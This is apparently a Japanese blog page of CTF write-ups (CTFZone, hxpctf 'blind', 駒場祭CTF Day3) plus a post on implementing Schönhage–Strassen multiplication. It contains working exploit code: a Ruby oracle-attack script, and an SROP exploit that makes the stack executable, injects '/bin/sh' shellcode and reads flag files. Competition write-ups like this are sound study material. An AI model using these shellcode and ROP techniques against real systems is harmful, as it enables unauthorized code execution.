cookies.txt　　　　　　.scr

ただのテキストファイルのようだ

CTFZone 2019 Quals writeup - M394Dr1V3 cr4cKM3

TSGアドベントカレンダー 2019 3日目です。
adventar.org

こないだ11/30 18:00 JST - 12/2 06:00 JST、TSGでCTFZone 2019 Qualsに参加しました。
わりとみんなでまじめに参加して、結果はなんとか10位となりました。
アドベントカレンダー登録時の予定では、Web問あたりがいくつか解けて、ここでwriteupを書くはずだったんですが、かなりエスパー要素があるわ1問あたりの段階数がおおいやらで、全体的にいいところまでは進めても解ききれませんでした。悲しいね。全体的にこれ〇〇〇CONか？

初心に戻って唯一解けたRevering: M394Dr1V3 cr4cKM3のwriteupを書きます。

続きを読む

高速整数乗算アルゴリズムSchönhage Strassen Algorithmを雑に実装した話

そういえばIS Advent Calendarに投稿しようと思ってずっと放置していたのがあったのに、登録するのを忘れていたことを思い出したので、雑に供養します。


だいぶ昔の話なんですが、大学の演習IIIとかいう授業で、なんかSchönhage Strassen Algorithmというのを実装したくなったので実装させてもらいました。

当時のスライドから面白くないものを削除したスライドです。それなりにイメージは伝わると思っています。

www.slideshare.net

実装は公開しています。見るに堪えないかもわかりませんが。
github.com


Schönhage Strassen Algorithmは、整数乗算アルゴリズムで、まあもちろん速いわけなんですが、速いと言っても定数倍がかなり重くて日常的な乗算にはむしろ不利なやつです。
日本語WikipediaにはGMPでは「10進法で33 000 - 150 000桁の大きさ」でSSAを初めて用いるようになるとあります。
ソースに当たると、MUL_FFT_THRESHOLDというのが関係してくるらしくって、その値はx86_64で11520らしいんですが、limbってなんだかわからないしこれがなんなのかはわかりません。


実装するときは、スライドにもありますが、「Multiplying large numbers and the Schönhage-Strassen Algorithm - Theo Kortekaas」とか参考にするといいです。オンラインで見つかるPDFです。
今終わってみるとGMP manualとかも参考になったのかもしれないと思いますが、当時は見つけられなかったのでしかたない。


今回の実装では、スライドのpage 22を見ると、10^6 bit同士の乗算あたりからKaratsuba法を上回ったようです。
まあ圧倒的にGMPには劣るわけですが（スライドpage 23）。


そんなちゃんと実装したわけじゃないので、同じbit数同士の乗算しかできなかったり（当然0埋めすれば違ってもできるが、計算量的に劣る）、詳しくは書きませんが計算途中に特別な条件を満たすと続行不可能になってエラー返したりします*1。

以上、供養でした。

*1:参考PDFでも触れられているのと、「続行不可能」でスライド検索すればなんとなく分かります。

min-caml compiler pwn （ISer advent calendar 12/2出題）writeup

この記事はISer Advent Calendar 2018 16日目の記事です。
adventar.org

昨日はMisterプロによる「簡潔ビットベクトル(完備辞書)」でした。
misteer.hatenablog.com

17erのこおしいずです。CPU実験は1年前です。
同アドベントカレンダー2日目の記事に、moratoriumプロによる「min-camlのプログラムからシェルが取れるか？」というのがあって、そこでpwn問題が出されていました。
もう2週間経ちますので、writeupをやっていこうと思います。
とはいえ、出題者からはもっと良質な想定解が提示される予定なので、12/23のアドベントカレンダー記事も読みましょう。
moraprogramming.hateblo.jp

問題概要

ISのCPU実験でのコンパイラ開発のベースとして使われる、min-camlというOCaml subsetコンパイラがあるのですが、この問題では、min-camlソースコードを与えると、そのコンパイラ（に制限を加えたもの）でコンパイルした結果を実行してくれるので、シェルをとれという問題です。
CTFでコンパイラへの入力を与えるタイプはあんまり見ない気がしますが、OCamlはめっちゃ型つける系だし、今回glibcも外されて*1、自明ではない、ということです。

コンパイラはなぜかArrayのPUT構文を潰されています。ふむ。

*1:ゆーてこれヒントかもしれない、外す理由あんまりなくないですか？

続きを読む

hxpctf2018 writeup blind

なかなか好きな問題でした。

問題

#!/usr/bin/env python3
import os, random
from Crypto.Cipher import AES

aes = AES.new(os.urandom(16), AES.MODE_ECB)
enc = lambda x: aes.encrypt(x.to_bytes(16, 'big')).hex()
dec = lambda y: int.from_bytes(aes.decrypt(bytes.fromhex(y)), 'big')

p = 0xfffffed83c17          # |G| = p
mul = lambda x, y: (x+y)%p  # g^x * g^y = g^(x+y)
inv = lambda x: (-x)%p      # (g^x)^-1  = g^(-x)
dhp = lambda x, y: x*y%p    # enjoy your oracle!

g = 1
y = random.randrange(p)
print(y, file=__import__('sys').stderr)

print(enc(g), enc(y))

for _ in range(0x400):
    try:
        q = input().strip().split()
    except EOFError: break
    if q[0] == 'mul':
        print(enc(mul(*map(dec, q[1:]))))
    if q[0] == 'inv':
        print(enc(inv(dec(q[1]))))
    if q[0] == 'dhp':
        print(enc(dhp(*map(dec, q[1:]))))
    if q[0] == 'sol':
        if int(q[1]) % p == y:
            print(open('flag.txt').read().strip())
        break

固定値pをmodとした世界で、コネクションごとに乱数yが生成されます。
g=1と乱数yを暗号化した結果を接続時に与えられます。
暗号化は、AESで毎回keyはrandomにgenerateされますが、ECBです。
oracleとして、暗号化された数値を送ると、mul: x + y, inv: -x, dhp: x * yの暗号文を得ることができます。
0x400 == 1024クエリ以内に、yがいくらであったのかをexactに求めてください。

考察

今回の回答は、1/18未満の確率でうまくいくものです。（クエリ回数超過の可能性と、最後の解答が17/18で間違う可能性）

まず、今回のAES暗号化は、ECBなので（じゃなくてもか？）同じメッセージに対する暗号文は不変です。
ですから、xに対していろいろと操作をして、またxにもどったかどうかを判定することができます。

mul: x+yと、inv: -xは正直ほとんど役に立てられません。pは素数なので、足し算や反数をとってもだいたい対称な操作で、求めることにあまり意味を感じられません。
せいぜいyにひたすらg=1を足していって、g=1と等しくなったかで判明するくらいでしょうか。
dhpを繰り返し行うことで、x^nを求めることができます。nはこちらで自由に設定できる数字です。バイナリ法により、2 \lg nの回数程度で求めることができます。

|Z_p^*| = p-1 = 2 \cdot 3^2 \cdot 7 \cdot 13^4 \cdot 47 \cdot 103 \cdot 107 \cdot 151であり、こちらの世界では値ごとに特徴が十分見いだせます。
まず、Z_p^*の生成元を g=5（いままでg=1として使っていましたが、以降ではg=5として使います。生成元にg以外を使うのは考えられません。）として、各数値の指数（i.e. i = \log_g x)を考えます。
yの(gでの)指数をiとしたとき、i(p-1) \mod (p-1) = 0は当然なのですが、i \frac {p-1} 2 \mod (p-1)が0か否かによって、iの偶数性が分かります。
これらは、それぞれ、y^{p-1} = 1 \mod pが常に成立することと、y^{\frac {p-1} 2} \mod pが1かどうか確かめることに相当します。
これでは0か否か、しか求められないので、modをちゃんと求めるには、指数をdecrementして0かどうか確かめる...ということを繰り返す必要があります。
つまり、i \mod 151を求めるには、g^{i \frac {p-1} {151}} = g^{(151k+n) \frac {p-1} {151}} = y^{\frac {p-1} {151}} \mod pを確認し、1でなければg^{(151k+n-1) \frac {p-1} {151}} = y^{\frac {p-1} {151}} {(g^{-1})}^{\frac {p-1} {151}} \mod pを確認し...とつづけることになります。

m = 151, 107, 103, 47, 7それぞれについて、指数のmodを確認するために、{(g^{-1})}^{\frac {p-1} m}と、y^{\frac {p-1} m}を計算する必要があり、あわせて2 * 2lg((p-1)/m) < 2*2 lg p < 184回クエリ、それから、mod pが1でない間、掛け算を繰り返す必要があり、最大でm回のクエリが必要となります。
m = 13, 13^2, 13^3, 13^4については、m=13^4に対して {(g^{-1})}^{\frac {p-1} m}とy^{\frac {p-1} m}を計算したら、それを13乗してm=13^3のもの、また13乗してm=13^2、次にm=13のものを得ることができます。
そしてi \mod 13を計算できたら、i \mod 13^2は13通り、それもわかったらi \mod 13^3も13通りなので、4 \cdot 13程度のクエリでがんばれます。


とまあこの雑なクエリ回数見積もりを合計すると、1500を超えるんですが、まあ大きめに見積もったからね、しょうがないね。（ほんまか）
一応姑息な感じに多少のクエリ回数ゴルフをして、あとは運任せです。

ここまででyの指数iについて i \mod (7 \cdot 13^4 \cdot 47 \cdot 103 \cdot 107 \cdot 151)が判明した（∵中国人剰余定理）ので、確率は \frac 1 {2 \cdot 3^2} = \frac 1 {18}というわけです。
最後にg ^ iを雑に投げます。当たると嬉しいです。

回答

攻撃コードです。もうちょっときれいにならなかったのか。中国人剰余定理のためにgpを呼び出しています。

require 'socket'

def pow(x, y, m)
  r = 1
  while y > 0
    r *= x if y.odd?
    x *= x
    y >>= 1
    r %= m
    x %= m
  end
  r
end

class S < TCPSocket
  attr_reader :g, :y, :ctr

  def initialize
    #super '78.46.149.10', 13373
    super 'localhost', 4567
    @ctr = 0
    @g, @y = gets.split
  end

  def add x, y
    @ctr += 1
    puts 'mul %s %s' % [x, y]
    gets.chomp
  end
  def inv x
    @ctr += 1
    puts 'inv %s' % x
    gets.chomp
  end
  def mul x, y
    @ctr += 1
    puts 'dhp %s %s' % [x, y]
    gets.chomp
  end
  def sol x
    @ctr += 1
    puts 'sol %d' % x
  end
  def pow x, y
    res = @g
    loop do
      res = mul(res, x) if y.odd?
      y >>= 1
      break if y == 0
      x = mul(x, x)
    end
    res
  end
end

s = S.new

P = 0xfffffed83c17
PHI = P-1
# 2,3,3,7,13,13,13,13,47,103,107,151

G, Y = s.g, s.y
ONE = G
TWO = s.add(ONE, ONE)
FOUR= s.add(TWO, TWO)
FIVE= s.add(FOUR, ONE)
GEN = FIVE # 5
IGEN= s.pow(GEN, PHI-1)

puts 'p: %d' % P
puts 'one: %s' % G
puts 'y: %s' % Y

gpq = ['a = Mod(0, 1)']
factors = [7, 47, 103, 107, 151]
memo = s.pow(IGEN, 2*3*3)
memoy= s.pow(Y, 2*3*3)
factors.each do |f|
  seed = s.pow(memo, PHI/(2*3*3*f))
  now = s.pow(memoy, PHI/(2*3*3*f))
  idx = f.times.find do |t|
    next true if now == ONE
    now = s.mul(now, seed)
    false
  end
  mod = idx
  puts 'idx mod %d == %d' % [f, mod]
  gpq << 'a = chinese(a, Mod(%d, %d))' % [mod, f]
  puts 'ctr: %d' % s.ctr
end

begin
  f = 13
  ig4= s.pow(memo, PHI/(2*3*3*f**4))
  ig3= s.pow(ig4, f)
  ig2= s.pow(ig3, f)
  ig1= s.pow(ig2, f)

  n4 = s.pow(memoy, PHI/(2*3*3*f**4))
  n3 = s.pow(n4, f)
  n2 = s.pow(n3, f)
  n1 = s.pow(n2, f)

  idx = f.times.find do |t|
    next true if n1 == ONE
    n1 = s.mul(n1, ig1)
    false
  end
  m1 = idx
  puts 'm1: %d' % m1

  n2 = s.mul(n2, s.pow(ig2, m1))
  idx = f.times.find do |t|
    next true if n2 == ONE
    n2 = s.mul(n2, ig1)
    false
  end
  m2 = idx
  puts 'm2: %d' % m2

  n3 = s.mul(n3, s.pow(ig3, m1))
  n3 = s.mul(n3, s.pow(ig2, m2))
  idx = f.times.find do |t|
    next true if n3 == ONE
    n3 = s.mul(n3, ig1)
    false
  end
  m3 = idx
  puts 'm3: %d' % m3

  n4 = s.mul(n4, s.pow(ig4, m1))
  n4 = s.mul(n4, s.pow(ig3, m2))
  n4 = s.mul(n4, s.pow(ig2, m3))
  idx = f.times.find do |t|
    next true if n4 == ONE
    n4 = s.mul(n4, ig1)
    false
  end
  m4 = idx
  puts 'm4: %d' % m4
  gpq << 'a = chinese(a, Mod(%d, %d))' % [[m4,m3,m2,m1].inject(0){|s,x|s*13+x}, f**4]

  puts 'ctr: %d' % s.ctr
end

gpq << 'print(a)'
mod = nil
IO.popen("gp -q", "r+") do |gpio|
  gpio.puts gpq.join("\n")
  gpio.close_write
  mod = gpio.read.lines[-1]
end
a, b = mod.scan(/Mod\((\d+), (\d+)\)/)[0].map(&:to_i)
puts 'Mod(%d, %d)' % [a, b]

s.sol pow(5, a, P)

puts s.read

駒場祭CTF Day3 writeup (Repeat64, RSA modoki, rop0)

この記事はTSG Advent Calendar 20187日目の記事です。
adventar.org
昨日はakouryyさんの駒場祭 codegolf day2 writeup (or Haskellゴルフのすすめ)でした。



一つ前の記事で、駒場祭CTF Day1の問題の公開をしました。
Day1は出題側でしたが、Day3ではプレイヤーをしました。
本番中では自分ではLeap ItとRSA modokiだけ解きましたが、そのあと全部解きました。
同Advent Calendar 4日目の記事でmoratoriumさんがwriteup全部書いてくれたので、なんか書く価値がゼロではなさそうなものだけ書きます。
moraprogramming.hateblo.jp

Repeat64

2文字列の間の距離を、各位置の文字のbyteのxorの総和として定義します。
最初の方から、2文字の文字列全通りのうち、それに10回base64を重ねた結果と期待される出力の間で距離が最小なものをとり、その2文字のうちの1文字目だけの方を確定させ、続きをします。

rubyで書くとこんな感じです。

require 'base64'
s = `cat output_repeat64.txt`
cs = [*?A..?Z,*?a..?z,*?0..?9,?{,?},?_]
def e(x); Base64.encode64 x; end
def dis(x,y); x.bytes.zip(y.bytes).inject(0){|s,(x,y)| (x^y) + s}; end
100.times.inject(""){|t,_| p t; t+cs.repeated_permutation(2).min_by{|x| x=t+x.join; dis(10.times.inject(x){|s,_| e(s).gsub("\n",'')}, s)}[0]}
RSA modoki

想定解とも、moratorium解法とも違うやり方をしました。

z = e^e \mod M, w = n^e \mod Mと定義します。
これらは今回渡される情報に含まれていて、既知です。

これは定義より、あるk,l \in \mathbb Zがあって、e^e - z = kM, n^e - w = lMが成立します。

よって、M = \gcd(kM, lM) = \gcd(e^e-z, n^e - w)が成立することが十分期待できるのですが、n^eが巨大なため、まともには計算できません。
ここで、gcdを求めるためのユークリッドの互除法アルゴリズムを考えたりすれば、すぐに \gcd(kM, lM) = \gcd(kM, lM \mod kM)が成立することがわかります。
kM \simeq e^eは比較的小さいため、これは現実的に計算ができます。
M = \gcd(kM, lM) = \gcd(kM, (n^e - w) \mod kM) = \gcd(kM, \pow(n, e, kM) - w)です。

e = 65537
n = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373           

z = 375612358701229073413882940002322411554848628784774745002742479074624937864104171326560375938134436592822640458928924467
w = 632046538584332201873274417878381858396228945227318911729612016577023469248601061277855710342231510600619284695220328003
kM = e^e - z
lM = lift((Mod(n, kM)^e) - w)

print(gcd(kM, lM))
rop4/rop1

競技中は一切見なくて、終わった後に眺めたんですが、はじめのうちはなにしてほしいんだか全然わかりませんでした。
いくらかして「あー、retの前に自分の好きな値1byte書き込めるのか」となりましたが、結局書き込みは使いませんでした。

最終的な解答は、下です。rubyです。なんかさとすさんに言われたので、スタックサイズゴルフしたあとの結果です。payloadの部分は一切無視です。rop0です。

SigReturn Oriented Programmingというのをやります。
sigreturnのsyscall noは15なので、syscallをする前にeaxを15にしなければならないのですが、それはreadに15byteの入力を与えてやることでできます。
一番始めのもともとのreadでsigreturnへの引数スタックを構築し、始めのropでreadを呼び、次のrop addrとなるsyscallのアドレスをいれつつ15byteのデータを送ることでeaxを15に調整。そしてsigreturnでmprotect syscallを呼び出し、stackをexecutableに設定。sigreturnの引数のrspからのropで、シェルコードをスタック上に書き込み、ropでそのシェルコードにジャンプ。
payloadのところのrop gadgetを使わない制限を置くと、基本的にread先、サイズが固定されてしまうので、サイズ256のreadに今回の240byteのデータを送りつけるのはわりとフル活用していると言えます。
もし規定のreadサイズが100byteとかだと、payloadなしだときつそうです。知らんけど。

#encoding: BINARY
require 'socket'

#s = TCPSocket.new('localhost', 4567)
s = TCPSocket.new('external.pwn.ctf-day3.tsg.ne.jp', 30000)

stack = [
  0x400120, # read 15 byte
            # syscall (sigreturn)

  *[0]*5,   #
  *[0]*8,   # r8-r15
  0x800000, # rdi  addr
  0x100,    # rsi  len
  0x400120, # rbp <= new rsp
  0x40013c, # rbx
  0x7,      # rdx  prot
  0xa,      # rax  mprotect
  0x0,      # rcx
  0x800000 + 8*16, # rsp
  0x40013c, # rip
  0x0,      # eflags
  0x33,     # csgsfs
  *[0]*4,   #
  0,        # &fpstate
].pack("Q*")
puts stack.size

s.write stack.ljust(0x100, ?0)

s.write [0x40013c, 0].pack("Q*").ljust(15, ?0)[0,15]
s.flush
sleep 1

# http://shell-storm.org/shellcode/files/shellcode-806.php
sh = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# add rsp, 0x100
sh = "\x48\x81\xc4\x00\x01\x00\x00" + sh
s.write ([0x800008].pack("Q") + sh).ljust(0x100, ?0)

s.puts 'ls -l'
s.puts 'cat /home/*/flag'
s.puts 'exit'

while l = s.gets
  puts l
end
宣伝

駒場祭CTFではないんですが、同じスコアボードを使いまわしてmoratoriumくんが謎問を公開しています。
ぜひ解いてあげましょう。僕はちゃんと解きました。
まあmin-camlをこのためだけに読むのもあれなのは確かなのですが。
moraprogramming.hateblo.jp



明日のTSG Advent CalendarはhakatashiがTSGアニメ鑑賞会の話をしてくれる予定っぽいです。